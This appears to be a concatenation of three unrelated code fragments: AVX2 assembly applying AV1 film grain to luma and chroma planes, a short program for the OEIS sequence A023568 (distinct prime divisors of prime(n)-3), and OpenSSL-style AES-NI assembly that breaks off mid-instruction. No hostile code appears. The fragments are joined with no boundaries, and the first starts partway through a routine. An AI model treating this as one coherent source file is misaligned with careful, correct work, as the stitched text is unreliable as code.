[grain_lutq+top_offxyq] movd xm4, [grain_lutq+left_offxyq] movd xm7, [grain_lutq+topleft_offxyq] ; do h interpolation first (so top | top/left -> top, left | cur -> cur) punpcklbw xm4, xm3 punpcklbw xm7, xm6 pmaddubsw xm4, xm15, xm4 pmaddubsw xm7, xm15, xm7 pmulhrsw xm4, xm14 pmulhrsw xm7, xm14 packsswb xm4, xm4 packsswb xm7, xm7 vpblendd m3, m4, 00000001b vpblendd m6, m7, 00000001b ; followed by v interpolation (top | cur -> cur) punpckhbw m7, m6, m3 punpcklbw m6, m3 pmaddubsw m7, m8, m7 pmaddubsw m6, m8, m6 pmulhrsw m7, m14 pmulhrsw m6, m14 packsswb m3, m6, m7 pcmpgtb m7, m2, m3 punpcklbw m2, m3, m7 punpckhbw m3, m7 ; noise = round2(scaling[src] * grain, scaling_shift) pmullw m2, m9 pmullw m3, m5 pmulhrsw m2, m11 pmulhrsw m3, m11 ; dst = clip_pixel(src, noise) paddw m0, m2 paddw m1, m3 pmaxsw m0, m13 pmaxsw m1, m13 pminsw m0, m12 pminsw m1, m12 packuswb m0, m1 mova [dstq+srcq], m0 vpbroadcastw m8, [pb_27_17_17_27+2] ; swap weights for second v-overlap line add srcq, strideq add grain_lutq, 82 dec hw jz .end_y_hv_overlap ; 2 lines get vertical overlap, then fall back to non-overlap code for ; remaining (up to) 30 lines btc hd, 16 jnc .loop_y_hv_overlap jmp .loop_y_h_overlap .end_y_hv_overlap: add wq, 32 lea srcq, [src_bakq+wq] jl .loop_x_hv_overlap .end_hv: RET %macro FGUV_FN 3 ; name, ss_hor, ss_ver cglobal fguv_32x32xn_i%1_8bpc, 6, 15, 16, dst, src, stride, fg_data, w, scaling, \ grain_lut, h, sby, luma, lstride, uv_pl, is_id mov r7d, [fg_dataq+FGData.scaling_shift] lea r8, [pb_mask] %define base r8-pb_mask vpbroadcastw m11, [base+mul_bits+r7*2-14] mov r7d, [fg_dataq+FGData.clip_to_restricted_range] mov r9d, dword is_idm vpbroadcastw m13, [base+min+r7*2] shlx r7d, r7d, r9d vpbroadcastw m12, [base+max+r7*2] cmp byte [fg_dataq+FGData.chroma_scaling_from_luma], 0 jne .csfl %macro %%FGUV_32x32xN_LOOP 3 ; not-csfl, ss_hor, ss_ver DEFINE_ARGS dst, src, stride, fg_data, w, scaling, grain_lut, unused, sby, see, overlap %if %1 mov r7d, dword r11m vpbroadcastb m0, [fg_dataq+FGData.uv_mult+r7*4] vpbroadcastb m1, [fg_dataq+FGData.uv_luma_mult+r7*4] punpcklbw m14, m1, m0 vpbroadcastw m15, [fg_dataq+FGData.uv_offset+r7*4] %else vpbroadcastd m14, [pw_1024] %if %2 vpbroadcastq m15, [pb_23_22] %else vpbroadcastq xm15, [pb_27_17_17_27] %endif %endif %if %3 vpbroadcastw m10, [pb_23_22] %elif %2 mova m10, [pb_8x_27_17_8x_17_27] %endif mov overlapd, [fg_dataq+FGData.overlap_flag] movifnidn sbyd, sbym test sbyd, sbyd setnz r7b test r7b, overlapb jnz %%vertical_overlap imul seed, sbyd, (173 << 24) | 37 add seed, (105 << 24) | 178 rol seed, 8 movzx seed, seew xor seed, [fg_dataq+FGData.seed] DEFINE_ARGS dst, src, stride, luma, w, scaling, grain_lut, \ unused2, unused3, see, overlap, unused4, unused5, lstride mov lumaq, r9mp lea r12, [srcq+wq] lea r13, [dstq+wq] lea r14, [lumaq+wq*(1+%2)] mov r11mp, r12 mov r12mp, r13 mov lstrideq, r10mp neg wq %%loop_x: mov r6d, seed or seed, 0xEFF4 shr r6d, 1 test seeb, seeh lea seed, [r6+0x8000] cmovp seed, r6d ; updated seed DEFINE_ARGS dst, src, stride, luma, w, scaling, grain_lut, \ offx, offy, see, overlap, unused1, unused2, lstride mov offxd, seed rorx offyd, seed, 8 shr offxd, 12 and offyd, 0xf imul offyd, 164>>%3 lea offyq, [offyq+offxq*(2-%2)+(3+(6>>%3))*82+3+(6>>%2)] ; offy*stride+offx DEFINE_ARGS dst, src, stride, luma, w, scaling, grain_lut, \ h, offxy, see, overlap, unused1, unused2, lstride mov hd, hm mov grain_lutq, grain_lutmp %%loop_y: ; src %if %2 mova xm4, [lumaq+lstrideq*0+ 0] mova xm6, [lumaq+lstrideq*0+16] mova xm0, [srcq] vpbroadcastd m7, [pb_1] vinserti128 m4, [lumaq+lstrideq*(1+%3) +0], 1 vinserti128 m6, [lumaq+lstrideq*(1+%3)+16], 1 vinserti128 m0, [srcq+strideq], 1 pxor m2, m2 pmaddubsw m4, m7 pmaddubsw m6, m7 pavgw m4, m2 pavgw m6, m2 %else pxor m2, m2 mova m4, [lumaq] mova m0, [srcq] %endif %if %1 %if %2 packuswb m4, m6 ; luma %endif punpckhbw m6, m4, m0 punpcklbw m4, m0 ; { luma, chroma } pmaddubsw m6, m14 pmaddubsw m4, m14 psraw m6, 6 psraw m4, 6 paddw m6, m15 paddw m4, m15 packuswb m4, m6 ; pack+unpack = clip punpckhbw m6, m4, m2 punpcklbw m4, m2 %elif %2 == 0 punpckhbw m6, m4, m2 punpcklbw m4, m2 %endif punpckhwd m5, m4, m2 punpcklwd m4, m2 punpckhwd m7, m6, m2 punpcklwd m6, m2 ; m4-7: luma_src as dword ; scaling[luma_src] pcmpeqw m3, m3 pcmpeqw m9, m9 vpgatherdd m8, [scalingq-3+m4], m3 vpgatherdd m4, [scalingq-3+m5], m9 pcmpeqw m3, m3 pcmpeqw m9, m9 vpgatherdd m5, [scalingq-3+m6], m3 vpgatherdd m6, [scalingq-3+m7], m9 REPX {psrld x, 24}, m8, m4, m5, m6 packusdw m8, m4 packusdw m5, m6 ; unpack chroma_source punpckhbw m1, m0, m2 punpcklbw m0, m2 ; m0-1: src as word ; grain = grain_lut[offy+y][offx+x] %if %2 movu xm3, [grain_lutq+offxyq+ 0] vinserti128 m3, [grain_lutq+offxyq+82], 1 %else movu m3, [grain_lutq+offxyq] %endif pcmpgtb m7, m2, m3 punpcklbw m2, m3, m7 punpckhbw m3, m7 ; noise = round2(scaling[luma_src] * grain, scaling_shift) pmullw m2, m8 pmullw m3, m5 pmulhrsw m2, m11 pmulhrsw m3, m11 ; dst = clip_pixel(src, noise) paddw m0, m2 paddw m1, m3 pmaxsw m0, m13 pmaxsw m1, m13 pminsw m0, m12 pminsw m1, m12 packuswb m0, m1 %if %2 mova [dstq], xm0 vextracti128 [dstq+strideq], m0, 1 %else mova [dstq], m0 %endif %if %2 lea srcq, [srcq+strideq*2] lea dstq, [dstq+strideq*2] lea lumaq, [lumaq+lstrideq*(2<<%3)] %else add srcq, strideq add dstq, strideq add lumaq, lstrideq %endif add grain_lutq, 82<<%2 sub hb, 1+%2 jg %%loop_y add wq, 32>>%2 jge %%end mov srcq, r11mp mov dstq, r12mp lea lumaq, [r14+wq*(1+%2)] add srcq, wq add dstq, wq test overlapd, overlapd jz %%loop_x ; r8m = sbym cmp dword r8m, 0 jne %%loop_x_hv_overlap ; horizontal overlap (without vertical overlap) %%loop_x_h_overlap: mov r6d, seed or seed, 0xEFF4 shr r6d, 1 test seeb, seeh lea seed, [r6+0x8000] cmovp seed, r6d ; updated seed DEFINE_ARGS dst, src, stride, luma, w, scaling, grain_lut, \ offx, offy, see, left_offxy, unused1, unused2, lstride lea left_offxyd, [offyd+(32>>%2)] ; previous column's offy*stride+offx mov offxd, seed rorx offyd, seed, 8 shr offxd, 12 and offyd, 0xf imul offyd, 164>>%3 lea offyq, [offyq+offxq*(2-%2)+(3+(6>>%3))*82+3+(6>>%2)] ; offy*stride+offx DEFINE_ARGS dst, src, stride, luma, w, scaling, grain_lut, \ h, offxy, see, left_offxy, unused1, unused2, lstride mov hd, hm mov grain_lutq, grain_lutmp %%loop_y_h_overlap: ; src %if %2 mova xm4, [lumaq+lstrideq*0+ 0] mova xm6, [lumaq+lstrideq*0+16] mova xm0, [srcq] vpbroadcastd m7, [pb_1] vinserti128 m4, [lumaq+lstrideq*(1+%3) +0], 1 vinserti128 m6, [lumaq+lstrideq*(1+%3)+16], 1 vinserti128 m0, [srcq+strideq], 1 pxor m2, m2 pmaddubsw m4, m7 pmaddubsw m6, m7 pavgw m4, m2 pavgw m6, m2 %else mova m4, [lumaq] mova m0, [srcq] pxor m2, m2 %endif %if %1 %if %2 packuswb m4, m6 ; luma %endif punpckhbw m6, m4, m0 punpcklbw m4, m0 ; { luma, chroma } pmaddubsw m6, m14 pmaddubsw m4, m14 psraw m6, 6 psraw m4, 6 paddw m6, m15 paddw m4, m15 packuswb m4, m6 ; pack+unpack = clip punpckhbw m6, m4, m2 punpcklbw m4, m2 %elif %2 == 0 punpckhbw m6, m4, m2 punpcklbw m4, m2 %endif punpckhwd m5, m4, m2 punpcklwd m4, m2 punpckhwd m7, m6, m2 punpcklwd m6, m2 ; m4-7: luma_src as dword ; scaling[luma_src] pcmpeqw m3, m3 pcmpeqw m9, m9 vpgatherdd m8, [scalingq-3+m4], m3 vpgatherdd m4, [scalingq-3+m5], m9 pcmpeqw m3, m3 pcmpeqw m9, m9 vpgatherdd m5, [scalingq-3+m6], m3 vpgatherdd m6, [scalingq-3+m7], m9 REPX {psrld x, 24}, m8, m4, m5, m6 packusdw m8, m4 packusdw m5, m6 ; unpack chroma_source punpckhbw m1, m0, m2 punpcklbw m0, m2 ; m0-1: src as word ; grain = grain_lut[offy+y][offx+x] %if %2 %if %1 vpbroadcastq m6, [pb_23_22] %endif movu xm3, [grain_lutq+offxyq+ 0] movd xm4, [grain_lutq+left_offxyq+ 0] vinserti128 m3, [grain_lutq+offxyq+82], 1 vinserti128 m4, [grain_lutq+left_offxyq+82], 1 punpcklbw m4, m3 %if %1 pmaddubsw m4, m6, m4 pmulhrsw m4, [pw_1024] %else pmaddubsw m4, m15, m4 pmulhrsw m4, m14 %endif packsswb m4, m4 vpblendd m3, m3, m4, 00010001b %else %if %1 movq xm6, [pb_27_17_17_27] %endif movu m3, [grain_lutq+offxyq] movd xm4, [grain_lutq+left_offxyq] punpcklbw xm4, xm3 %if %1 pmaddubsw xm4, xm6, xm4 pmulhrsw xm4, [pw_1024] %else pmaddubsw xm4, xm15, xm4 pmulhrsw xm4, xm14 %endif packsswb xm4, xm4 vpblendd m3, m3, m4, 00000001b %endif pcmpgtb m7, m2, m3 punpcklbw m2, m3, m7 punpckhbw m3, m7 ; noise = round2(scaling[luma_src] * grain, scaling_shift) pmullw m2, m8 pmullw m3, m5 pmulhrsw m2, m11 pmulhrsw m3, m11 ; dst = clip_pixel(src, noise) paddw m0, m2 paddw m1, m3 pmaxsw m0, m13 pmaxsw m1, m13 pminsw m0, m12 pminsw m1, m12 packuswb m0, m1 %if %2 mova [dstq], xm0 vextracti128 [dstq+strideq], m0, 1 %else mova [dstq], m0 %endif %if %2 lea srcq, [srcq+strideq*2] lea dstq, [dstq+strideq*2] lea lumaq, [lumaq+lstrideq*(2<<%3)] %else add srcq, strideq add dstq, strideq add lumaq, lstrideq %endif add grain_lutq, 82*(1+%2) sub hb, 1+%2 jg %%loop_y_h_overlap add wq, 32>>%2 jge %%end mov srcq, r11mp mov dstq, r12mp lea lumaq, [r14+wq*(1+%2)] add srcq, wq add dstq, wq ; r8m = sbym cmp dword r8m, 0 jne %%loop_x_hv_overlap jmp %%loop_x_h_overlap %%end: RET %%vertical_overlap: DEFINE_ARGS dst, src, stride, fg_data, w, scaling, grain_lut, unused, \ sby, see, overlap, unused1, unused2, lstride movzx sbyd, sbyb imul seed, [fg_dataq+FGData.seed], 0x00010001 imul r7d, sbyd, 173 * 0x00010001 imul sbyd, 37 * 0x01000100 add r7d, (105 << 16) | 188 add sbyd, (178 << 24) | (141 << 8) and r7d, 0x00ff00ff and sbyd, 0xff00ff00 xor seed, r7d xor seed, sbyd ; (cur_seed << 16) | top_seed DEFINE_ARGS dst, src, stride, luma, w, scaling, grain_lut, \ unused1, unused2, see, overlap, unused3, unused4, lstride mov lumaq, r9mp lea r12, [srcq+wq] lea r13, [dstq+wq] lea r14, [lumaq+wq*(1+%2)] mov r11mp, r12 mov r12mp, r13 mov lstrideq, r10mp neg wq %%loop_x_v_overlap: ; we assume from the block above that bits 8-15 of r7d are zero'ed mov r6d, seed or seed, 0xeff4eff4 test seeb, seeh setp r7b ; parity of top_seed shr seed, 16 shl r7d, 16 test seeb, seeh setp r7b ; parity of cur_seed or r6d, 0x00010001 xor r7d, r6d rorx seed, r7d, 1 ; updated (cur_seed << 16) | top_seed DEFINE_ARGS dst, src, stride, luma, w, scaling, grain_lut, \ offx, offy, see, overlap, top_offxy, unused, lstride rorx offyd, seed, 8 rorx offxd, seed, 12 and offyd, 0xf000f and offxd, 0xf000f imul offyd, 164>>%3 ; offxy=offy*stride+offx, (cur_offxy << 16) | top_offxy lea offyq, [offyq+offxq*(2-%2)+0x10001*((3+(6>>%3))*82+3+(6>>%2))+(32>>%3)*82] DEFINE_ARGS dst, src, stride, luma, w, scaling, grain_lut, \ h, offxy, see, overlap, top_offxy, unused, lstride movzx top_offxyd, offxyw shr offxyd, 16 mov hd, hm mov grain_lutq, grain_lutmp %if %2 == 0 vbroadcasti128 m10, [pb_8x_27_17_8x_17_27] %endif %%loop_y_v_overlap: ; src %if %2 mova xm4, [lumaq+lstrideq*0+ 0] mova xm6, [lumaq+lstrideq*0+16] mova xm0, [srcq] vpbroadcastd m7, [pb_1] vinserti128 m4, [lumaq+lstrideq*(1+%3) +0], 1 vinserti128 m6, [lumaq+lstrideq*(1+%3)+16], 1 vinserti128 m0, [srcq+strideq], 1 pxor m2, m2 pmaddubsw m4, m7 pmaddubsw m6, m7 pavgw m4, m2 pavgw m6, m2 %else mova m4, [lumaq] mova m0, [srcq] pxor m2, m2 %endif %if %1 %if %2 packuswb m4, m6 ; luma %endif punpckhbw m6, m4, m0 punpcklbw m4, m0 ; { luma, chroma } pmaddubsw m6, m14 pmaddubsw m4, m14 psraw m6, 6 psraw m4, 6 paddw m6, m15 paddw m4, m15 packuswb m4, m6 ; pack+unpack = clip punpckhbw m6, m4, m2 punpcklbw m4, m2 %elif %2 == 0 punpckhbw m6, m4, m2 punpcklbw m4, m2 %endif punpckhwd m5, m4, m2 punpcklwd m4, m2 punpckhwd m7, m6, m2 punpcklwd m6, m2 ; m4-7: luma_src as dword ; scaling[luma_src] pcmpeqw m3, m3 pcmpeqw m9, m9 vpgatherdd m8, [scalingq-3+m4], m3 vpgatherdd m4, [scalingq-3+m5], m9 pcmpeqw m3, m3 pcmpeqw m9, m9 vpgatherdd m5, [scalingq-3+m6], m3 vpgatherdd m6, [scalingq-3+m7], m9 REPX {psrld x, 24}, m8, m4, m5, m6 packusdw m8, m4 packusdw m5, m6 %if %2 ; unpack chroma_source punpckhbw m1, m0, m2 punpcklbw m0, m2 ; m0-1: src as word %endif ; grain = grain_lut[offy+y][offx+x] %if %3 == 0 %if %2 movu xm3, [grain_lutq+offxyq] movu xm4, [grain_lutq+top_offxyq] vinserti128 m3, [grain_lutq+offxyq+82], 1 vinserti128 m4, [grain_lutq+top_offxyq+82], 1 %else movu m3, [grain_lutq+offxyq] movu m4, [grain_lutq+top_offxyq] %endif punpckhbw m9, m4, m3 punpcklbw m4, m3 pmaddubsw m9, m10, m9 pmaddubsw m4, m10, m4 %if %1 pmulhrsw m9, [pw_1024] pmulhrsw m4, [pw_1024] %else pmulhrsw m9, m14 pmulhrsw m4, m14 %endif packsswb m3, m4, m9 %else movq xm3, [grain_lutq+offxyq] movq xm4, [grain_lutq+top_offxyq] vinserti128 m3, [grain_lutq+offxyq+8], 1 vinserti128 m4, [grain_lutq+top_offxyq+8], 1 punpcklbw m4, m3 pmaddubsw m4, m10, m4 %if %1 pmulhrsw m4, [pw_1024] %else pmulhrsw m4, m14 %endif packsswb m4, m4 vpermq m4, m4, q3120 ; only interpolate first line, insert second line unmodified vinserti128 m3, m4, [grain_lutq+offxyq+82], 1 %endif pcmpgtb m7, m2, m3 punpcklbw m2, m3, m7 punpckhbw m3, m7 ; noise = round2(scaling[luma_src] * grain, scaling_shift) pmullw m2, m8 pmullw m3, m5 pmulhrsw m2, m11 pmulhrsw m3, m11 ; dst = clip_pixel(src, noise) %if %2 paddw m0, m2 paddw m1, m3 pmaxsw m0, m13 pmaxsw m1, m13 pminsw m0, m12 pminsw m1, m12 packuswb m0, m1 mova [dstq], xm0 vextracti128 [dstq+strideq], m0, 1 %else pxor m6, m6 punpckhbw m9, m0, m6 punpcklbw m0, m6 ; m0-1: src as word paddw m0, m2 paddw m9, m3 pmaxsw m0, m13 pmaxsw m9, m13 pminsw m0, m12 pminsw m9, m12 packuswb m0, m9 mova [dstq], m0 %endif sub hb, 1+%2 jle %%end_y_v_overlap %if %2 lea srcq, [srcq+strideq*2] lea dstq, [dstq+strideq*2] lea lumaq, [lumaq+lstrideq*(2<<%3)] %else add srcq, strideq add dstq, strideq add lumaq, lstrideq %endif add grain_lutq, 82<<%2 %if %2 == 0 vbroadcasti128 m10, [pb_8x_27_17_8x_17_27+16] btc hd, 16 jnc %%loop_y_v_overlap %endif jmp %%loop_y %%end_y_v_overlap: add wq, 32>>%2 jge %%end_hv mov srcq, r11mp mov dstq, r12mp lea lumaq, [r14+wq*(1+%2)] add srcq, wq add dstq, wq ; since fg_dataq.overlap is guaranteed to be set, we never jump ; back to .loop_x_v_overlap, and instead always fall-through to ; h+v overlap %%loop_x_hv_overlap: ; we assume from the block above that bits 8-15 of r7d are zero'ed mov r6d, seed or seed, 0xeff4eff4 test seeb, seeh setp r7b ; parity of top_seed shr seed, 16 shl r7d, 16 test seeb, seeh setp r7b ; parity of cur_seed or r6d, 0x00010001 xor r7d, r6d rorx seed, r7d, 1 ; updated (cur_seed << 16) | top_seed DEFINE_ARGS dst, src, stride, luma, w, scaling, grain_lut, \ offx, offy, see, left_offxy, top_offxy, topleft_offxy, lstride lea topleft_offxyq, [top_offxyq+(32>>%2)] lea left_offxyq, [offyq+(32>>%2)] rorx offyd, seed, 8 rorx offxd, seed, 12 and offyd, 0xf000f and offxd, 0xf000f imul offyd, 164>>%3 ; offxy=offy*stride+offx, (cur_offxy << 16) | top_offxy lea offyq, [offyq+offxq*(2-%2)+0x10001*((3+(6>>%3))*82+3+(6>>%2))+(32>>%3)*82] DEFINE_ARGS dst, src, stride, luma, w, scaling, grain_lut, \ h, offxy, see, left_offxy, top_offxy, topleft_offxy, lstride movzx top_offxyd, offxyw shr offxyd, 16 mov hd, hm mov grain_lutq, grain_lutmp %if %2 == 0 vbroadcasti128 m10, [pb_8x_27_17_8x_17_27] %endif %%loop_y_hv_overlap: ; src %if %2 mova xm4, [lumaq+lstrideq*0+ 0] mova xm6, [lumaq+lstrideq*0+16] mova xm0, [srcq] vpbroadcastd m7, [pb_1] vinserti128 m4, [lumaq+lstrideq*(1+%3) +0], 1 vinserti128 m6, [lumaq+lstrideq*(1+%3)+16], 1 vinserti128 m0, [srcq+strideq], 1 pxor m2, m2 pmaddubsw m4, m7 pmaddubsw m6, m7 pavgw m4, m2 pavgw m6, m2 %else mova m4, [lumaq] mova m0, [srcq] pxor m2, m2 %endif %if %1 %if %2 packuswb m4, m6 ; luma %endif punpckhbw m6, m4, m0 punpcklbw m4, m0 ; { luma, chroma } pmaddubsw m6, m14 pmaddubsw m4, m14 psraw m6, 6 psraw m4, 6 paddw m6, m15 paddw m4, m15 packuswb m4, m6 ; pack+unpack = clip punpckhbw m6, m4, m2 punpcklbw m4, m2 %elif %2 == 0 punpckhbw m6, m4, m2 punpcklbw m4, m2 %endif punpckhwd m5, m4, m2 punpcklwd m4, m2 punpckhwd m7, m6, m2 punpcklwd m6, m2 ; m4-7: src as dword ; scaling[src] pcmpeqw m9, m9 pcmpeqw m3, m3 vpgatherdd m8, [scalingq-3+m4], m9 vpgatherdd m4, [scalingq-3+m5], m3 pcmpeqw m9, m9 pcmpeqw m3, m3 vpgatherdd m5, [scalingq-3+m6], m9 vpgatherdd m6, [scalingq-3+m7], m3 REPX {psrld x, 24}, m8, m4, m5, m6 packusdw m8, m4 packusdw m5, m6 %if %2 ; unpack chroma source punpckhbw m1, m0, m2 punpcklbw m0, m2 ; m0-1: src as word %endif ; grain = grain_lut[offy+y][offx+x] %if %1 %if %2 vpbroadcastq m9, [pb_23_22] %else vpbroadcastq xm9, [pb_27_17_17_27] %endif %endif %if %2 movu xm3, [grain_lutq+offxyq] %if %3 movq xm6, [grain_lutq+top_offxyq] %else movu xm6, [grain_lutq+top_offxyq] %endif vinserti128 m3, [grain_lutq+offxyq+82], 1 %if %3 vinserti128 m6, [grain_lutq+top_offxyq+8], 1 %else vinserti128 m6, [grain_lutq+top_offxyq+82], 1 %endif %else movu m3, [grain_lutq+offxyq] movu m6, [grain_lutq+top_offxyq] %endif movd xm4, [grain_lutq+left_offxyq] movd xm7, [grain_lutq+topleft_offxyq] %if %2 vinserti128 m4, [grain_lutq+left_offxyq+82], 1 %if %3 == 0 vinserti128 m7, [grain_lutq+topleft_offxyq+82], 1 %endif %endif ; do h interpolation first (so top | top/left -> top, left | cur -> cur) %if %2 punpcklbw m4, m3 %if %3 punpcklbw xm7, xm6 %else punpcklbw m7, m6 %endif punpcklqdq m4, m7 %if %1 pmaddubsw m4, m9, m4 pmulhrsw m4, [pw_1024] %else pmaddubsw m4, m15, m4 pmulhrsw m4, m14 %endif packsswb m4, m4 vpblendd m3, m4, 00010001b psrldq m4, 4 %if %3 vpblendd m6, m6, m4, 00000001b %else vpblendd m6, m6, m4, 00010001b %endif %else punpcklbw xm4, xm3 punpcklbw xm7, xm6 punpcklqdq xm4, xm7 %if %1 pmaddubsw xm4, xm9, xm4 pmulhrsw xm4, [pw_1024] %else pmaddubsw xm4, xm15, xm4 pmulhrsw xm4, xm14 %endif packsswb xm4, xm4 vpblendd m3, m3, m4, 00000001b psrldq xm4, 4 vpblendd m6, m6, m4, 00000001b %endif ; followed by v interpolation (top | cur -> cur) %if %3 vpermq m9, m3, q3120 punpcklbw m6, m9 pmaddubsw m6, m10, m6 %if %1 pmulhrsw m6, [pw_1024] %else pmulhrsw m6, m14 %endif packsswb m6, m6 vpermq m6, m6, q3120 vpblendd m3, m3, m6, 00001111b %else punpckhbw m9, m6, m3 punpcklbw m6, m3 pmaddubsw m9, m10, m9 pmaddubsw m6, m10, m6 %if %1 pmulhrsw m9, [pw_1024] pmulhrsw m6, [pw_1024] %else pmulhrsw m9, m14 pmulhrsw m6, m14 %endif packsswb m3, m6, m9 %endif pcmpgtb m7, m2, m3 punpcklbw m2, m3, m7 punpckhbw m3, m7 ; noise = round2(scaling[src] * grain, scaling_shift) pmullw m2, m8 pmullw m3, m5 pmulhrsw m2, m11 pmulhrsw m3, m11 ; dst = clip_pixel(src, noise) %if %2 paddw m0, m2 paddw m1, m3 pmaxsw m0, m13 pmaxsw m1, m13 pminsw m0, m12 pminsw m1, m12 packuswb m0, m1 mova [dstq], xm0 vextracti128 [dstq+strideq], m0, 1 %else pxor m6, m6 punpckhbw m9, m0, m6 punpcklbw m0, m6 ; m0-1: src as word paddw m0, m2 paddw m9, m3 pmaxsw m0, m13 pmaxsw m9, m13 pminsw m0, m12 pminsw m9, m12 packuswb m0, m9 mova [dstq], m0 %endif %if %2 lea srcq, [srcq+strideq*2] lea dstq, [dstq+strideq*2] lea lumaq, [lumaq+lstrideq*(2<<%3)] %else add srcq, strideq add dstq, strideq add lumaq, lstrideq %endif add grain_lutq, 82<<%2 sub hb, 1+%2 %if %2 jg %%loop_y_h_overlap %else je %%end_y_hv_overlap vbroadcasti128 m10, [pb_8x_27_17_8x_17_27+16] btc hd, 16 jnc %%loop_y_hv_overlap jmp %%loop_y_h_overlap %endif %%end_y_hv_overlap: add wq, 32>>%2 jge %%end_hv mov srcq, r11mp mov dstq, r12mp lea lumaq, [r14+wq*(1+%2)] add srcq, wq add dstq, wq jmp %%loop_x_hv_overlap %%end_hv: RET %endmacro %%FGUV_32x32xN_LOOP 1, %2, %3 .csfl: %%FGUV_32x32xN_LOOP 0, %2, %3 %endmacro FGUV_FN 420, 1, 1 FGUV_FN 422, 1, 0 FGUV_FN 444, 0, 0 %endif ; ARCH_X86_64
; A023568: Number of distinct prime divisors of prime(n)-3. ; 0,0,1,1,1,2,2,1,2,2,2,2,2,2,2,2,2,2,1,2,3,2,2,2,2,2,2,2,2,3,2,1,2,2,2,2,3,2,2,3,2,2,2,3,2,2,2,3,2,2,3,2,3,2,2,3,3,2,2,2,3,3,2,3,3,2,2,2,2,2,3,2,3,3,2,3,2,2,2,3,2,3,2,3,2,3,2,2,2,3,2,3,2,2,2,2,3,3,3,2 seq $0,40 ; The prime numbers. trn $0,4 seq $0,1221 ; Number of distinct primes dividing n (also called omega(n)).
OPTION DOTNAME .text$ SEGMENT ALIGN(256) 'CODE' EXTERN OPENSSL_ia32cap_P:NEAR PUBLIC aesni_encrypt ALIGN 16 aesni_encrypt PROC PUBLIC movups xmm2,XMMWORD PTR[rcx] mov eax,DWORD PTR[240+r8] movups xmm0,XMMWORD PTR[r8] movups xmm1,XMMWORD PTR[16+r8] lea r8,QWORD PTR[32+r8] xorps xmm2,xmm0 $L$oop_enc1_1:: DB 102,15,56,220,209 dec eax movups xmm1,XMMWORD PTR[r8] lea r8,QWORD PTR[16+r8] jnz $L$oop_enc1_1 DB 102,15,56,221,209 movups XMMWORD PTR[rdx],xmm2 DB 0F3h,0C3h ;repret aesni_encrypt ENDP PUBLIC aesni_decrypt ALIGN 16 aesni_decrypt PROC PUBLIC movups xmm2,XMMWORD PTR[rcx] mov eax,DWORD PTR[240+r8] movups xmm0,XMMWORD PTR[r8] movups xmm1,XMMWORD PTR[16+r8] lea r8,QWORD PTR[32+r8] xorps xmm2,xmm0 $L$oop_dec1_2:: DB 102,15,56,222,209 dec eax movups xmm1,XMMWORD PTR[r8] lea r8,QWORD PTR[16+r8] jnz $L$oop_dec1_2 DB 102,15,56,223,209 movups XMMWORD PTR[rdx],xmm2 DB 0F3h,0C3h ;repret aesni_decrypt ENDP ALIGN 16 _aesni_encrypt2 PROC PRIVATE movups xmm0,XMMWORD PTR[rcx] shl eax,4 movups xmm1,XMMWORD PTR[16+rcx] xorps xmm2,xmm0 xorps xmm3,xmm0 movups xmm0,XMMWORD PTR[32+rcx] lea rcx,QWORD PTR[32+rax*1+rcx] neg rax add rax,16 $L$enc_loop2:: DB 102,15,56,220,209 DB 102,15,56,220,217 movups xmm1,XMMWORD PTR[rax*1+rcx] add rax,32 DB 102,15,56,220,208 DB 102,15,56,220,216 movups xmm0,XMMWORD PTR[((-16))+rax*1+rcx] jnz $L$enc_loop2 DB 102,15,56,220,209 DB 102,15,56,220,217 DB 102,15,56,221,208 DB 102,15,56,221,216 DB 0F3h,0C3h ;repret _aesni_encrypt2 ENDP ALIGN 16 _aesni_decrypt2 PROC PRIVATE movups xmm0,XMMWORD PTR[rcx] shl eax,4 movups xmm1,XMMWORD PTR[16+rcx] xorps xmm2,xmm0 xorps xmm3,xmm0 movups xmm0,XMMWORD PTR[32+rcx] lea rcx,QWORD PTR[32+rax*1+rcx] neg rax add rax,16 $L$dec_loop2:: DB 102,15,56,222,209 DB 102,15,56,222,217 movups xmm1,XMMWORD PTR[rax*1+rcx] add rax,32 DB 102,15,56,222,208 DB 102,15,56,222,216 movups xmm0,XMMWORD PTR[((-16))+rax*1+rcx] jnz $L$dec_loop2 DB 102,15,56,222,209 DB 102,15,56,222,217 DB 102,15,56,223,208 DB 102,15,56,223,216 DB 0F3h,0C3h ;repret _aesni_decrypt2 ENDP ALIGN 16 _aesni_encrypt3 PROC PRIVATE movups xmm0,XMMWORD PTR[rcx] shl eax,4 movups xmm1,XMMWORD PTR[16+rcx] xorps xmm2,xmm0 xorps xmm3,xmm0 xorps xmm4,xmm0 movups xmm0,XMMWORD PTR[32+rcx] lea rcx,QWORD PTR[32+rax*1+rcx] neg rax add rax,16 $L$enc_loop3:: DB 102,15,56,220,209 DB 102,15,56,220,217 DB 102,15,56,220,225 movups xmm1,XMMWORD PTR[rax*1+rcx] add rax,32 DB 102,15,56,220,208 DB 102,15,56,220,216 DB 102,15,56,220,224 movups xmm0,XMMWORD PTR[((-16))+rax*1+rcx] jnz $L$enc_loop3 DB 102,15,56,220,209 DB 102,15,56,220,217 DB 102,15,56,220,225 DB 102,15,56,221,208 DB 102,15,56,221,216 DB 102,15,56,221,224 DB 0F3h,0C3h ;repret _aesni_encrypt3 ENDP ALIGN 16 _aesni_decrypt3 PROC PRIVATE movups xmm0,XMMWORD PTR[rcx] shl eax,4 movups xmm1,XMMWORD PTR[16+rcx] xorps xmm2,xmm0 xorps xmm3,xmm0 xorps xmm4,xmm0 movups xmm0,XMMWORD PTR[32+rcx] lea rcx,QWORD PTR[32+rax*1+rcx] neg rax add rax,16 $L$dec_loop3:: DB 102,15,56,222,209 DB 102,15,56,222,217 DB 102,15,56,222,225 movups xmm1,XMMWORD PTR[rax*1+rcx] add rax,32 DB 102,15,56,222,208 DB 102,15,56,222,216 DB 102,15,56,222,224 movups xmm0,XMMWORD PTR[((-16))+rax*1+rcx] jnz $L$dec_loop3 DB 102,15,56,222,209 DB 102,15,56,222,217 DB 102,15,56,222,225 DB 102,15,56,223,208 DB 102,15,56,223,216 DB 102,15,56,223,224 DB 0F3h,0C3h ;repret _aesni_decrypt3 ENDP ALIGN 16 _aesni_encrypt4 PROC PRIVATE movups xmm0,XMMWORD PTR[rcx] shl eax,4 movups xmm1,XMMWORD PTR[16+rcx] xorps xmm2,xmm0 xorps xmm3,xmm0 xorps xmm4,xmm0 xorps xmm5,xmm0 movups xmm0,XMMWORD PTR[32+rcx] lea rcx,QWORD PTR[32+rax*1+rcx] neg rax DB 00fh,01fh,000h add rax,16 $L$enc_loop4:: DB 102,15,56,220,209 DB 102,15,56,220,217 DB 102,15,56,220,225 DB 